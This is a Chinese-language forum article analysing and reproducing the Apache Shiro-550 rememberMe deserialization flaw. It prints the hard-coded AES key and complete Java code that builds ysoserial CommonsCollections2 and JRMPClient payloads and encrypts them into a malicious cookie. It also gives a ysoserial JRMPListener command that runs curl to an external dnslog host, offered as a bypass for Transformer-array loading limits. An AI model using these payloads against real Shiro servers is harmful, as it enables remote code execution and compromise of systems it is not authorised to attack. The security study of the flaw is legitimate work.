Apache Shiro是java的一个安全框架,相较于Spring Security,shiro显得十分轻量且简单,因此在解决项目时往往倾向于简单且轻巧的shiro,Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码学和会话管理。
本文是 i 春秋论坛作家「HhhM」表哥分享的技术文章,文章将对shiro550反序列化进行分析,内容仅供学习参考。
550分析与复现
550指的是编号为550的issue中爆出的一个反序列化漏洞。
issue中给出了四点:
- Retrieve the value of the rememberMe cookie
- Base 64 decode
- Decrypt using AES
- Deserialize using java serialization (ObjectInputStream).
并且提到了CookieRememberMeManager以及硬编码,其中提到了使用yso的cc2进行攻击,那么本地部署一个shiro后可以加上一个commons-collections4的依赖。
根据其描述,一个正常登陆流程选择rememberMe后能够在cookie中拿到的数据为一串base64:
对其解码后得到了无法直接辨别的数据,因为这里还涉及到了aes加密,现在将关注点移动到CookieRememberMeManager,它是shiro-web库下的一个类,也是漏洞的关键点。
简单分析后在CookieRememberMeManager#getRememberedSerializedIdentity下个断点,易知其对于base64做解码后返回了一个字节数组,它将字节数组传入AbstractRememberMeManager#convertBytesToPrincipals,进而调用了AbstractRememberMeManager#decrypt,最后是调用到了CipherService#decrypt方法:
那么这里的getdecryptionCipherKey简单跟踪一下能够发现在AbstractRememberMeManager#setCipherKey对于decryptionCipherKey进行了设置:
public void setCipherKey(byte[] cipherKey) {
this.setEncryptionCipherKey(cipherKey);
this.setDecryptionCipherKey(cipherKey);
}
那么哪里调用了这个setter?翻到类的前几行就能够看到如下:
易知加解密密钥相同,且为硬编码,既然密钥是为硬编码,那么我们就可以伪造任意序列化串对shiro进行攻击,这也正是这一个漏洞的原理,不过不用急,继续跟着刚刚的debug,其将解密得到的结果赋值给了byteSource,仍是一串base64字符串,将之解码后终于看到了期望的序列化内容:
在debug中查看变量内容能够得到其加密方式:
当然了无需在意如何进行加密,因为密钥已知,shiro的加密方式就摆在那,我们为何不直接拎起shiro中的cipherService也就是AesCipherService拿来用呢?
org.apache.shiro.crypto.AesCipherService
基于前面依赖的cc4,拿起yso的cc2来打,因此简单写一段生成payload:
package org.apache.shiro.test;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;
import ysoserial.payloads.CommonsCollections2;
import org.apache.shiro.crypto.AesCipherService;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class GeneratePayload {
public static void main(String[] args) throws Exception {
Object obj = new CommonsCollections2().getObject("open -a Calculator");
//ser
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
byte[] ser = baos.toByteArray();
CipherService cipherService = new AesCipherService();
byte[] encryptionCipherKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource byteSource = cipherService.encrypt(ser, encryptionCipherKey);
System.out.println(byteSource);
}
}
往cookie上一贴,成功弹出计算器:
无效的yso-cc4
既然是基于commons-collections4,在尝试用cc2打通后,用cc4去打却发现打不通,这是最令人不解的,通过查看报错能够发现这么一段东西:
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
再往下找还能找到一个报错信息:
[org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections4.Transformer;]
而这一处org.apache.shiro.util.ClassUtils在:
org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
中被调用到:
ObjectInputStream#resolveClass:
很明显的ClassResolvingObjectInputStream它重写了父类的resolveClass,将Class.forName改换成ClassUtils.forName,继续跟入发现它实际是调用了:
ParallelWebappClassLoader#loadClass:
而在遇到org.apache.commons.collections4.Transformer这一个类时抛出了异常:
与其他类不同的是Transformer类前多了一个[L,它实际上是标志这一个类是数组,那么是否意味着数组无法被加载到,并不是。
执行表达式时会发现:
同样身为数组的Object类却是可以被加载,经过一番尝试,得到一个结论:java下的类,如java.lang.Class、java.io.ByteArrayOutputStream等的类是可以被正常地以数组形式加载,而其他类,如上述中的org.apache.commons.collections4.Transformer当其以数组形式时无法被正常加载到,具体的调试过程可以看@zsx。
JRMP
那么解决方案也是有的,Orange师傅在测试一个ctf平台时就提到了利用JRMP来达成攻击shiro:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
先简单了解一下JRMP:
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。
所谓java远程方法协议即是rmi(Java Remote Method Invocation),即java远程方法调用时需要用到的一个协议,通过jrmp,双方才能够正常地对方法进行调用,而此时就需要了解到另外一个东西:JNDI(Java Naming and Directory Interface),Java命名和目录接口,很简单的说就是一个映射,将某个路径与对象做映射后访问到这个目录时就能够访问到这一个对象。
那么这里使用到的攻击方式是为server打client:
攻击端使用JRMP协议监听一个端口作为服务端,在客户端连接上服务端后将序列化数据返回给客户端,客户端将数据反序列化后就可达成攻击流程。
基于理论现在来做一下实际测试:
利用yso的JRMPListener监听一个端口,并且使用CommonsCollections4这条前面使用不了的链:
java -cp yso.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections4 'curl b63p5e.dnslog.cn'
接着生成payload:
public class GeneratePayload {
public static void main(String[] args) throws Exception {
Object obj = new JRMPClient().getObject("127.0.0.1:12345");
//ser
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
byte[] ser = baos.toByteArray();
CipherService cipherService = new AesCipherService();
byte[] encryptionCipherKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource byteSource = cipherService.encrypt(ser, encryptionCipherKey);
System.out.println(byteSource);
}
}
往shiro一打,这下就收到了dnslog了:
不过可能会觉得疑惑,既然cc2链可以用为什么反而要绕一圈去用JRMP去用含有数组的cc4,其实能够用cc2只是因为前期环境恰好配置的是commons-collections4,若环境中配了commons-collections-3.2.1,那么分析过cc1,3,5,6,7的师傅会知道其中都会使用到Transformer数组,此时便无法寻找相应的替代链来绕过Transformer数组的限制,那么此时采用JRMP的方法即可去除这一限制。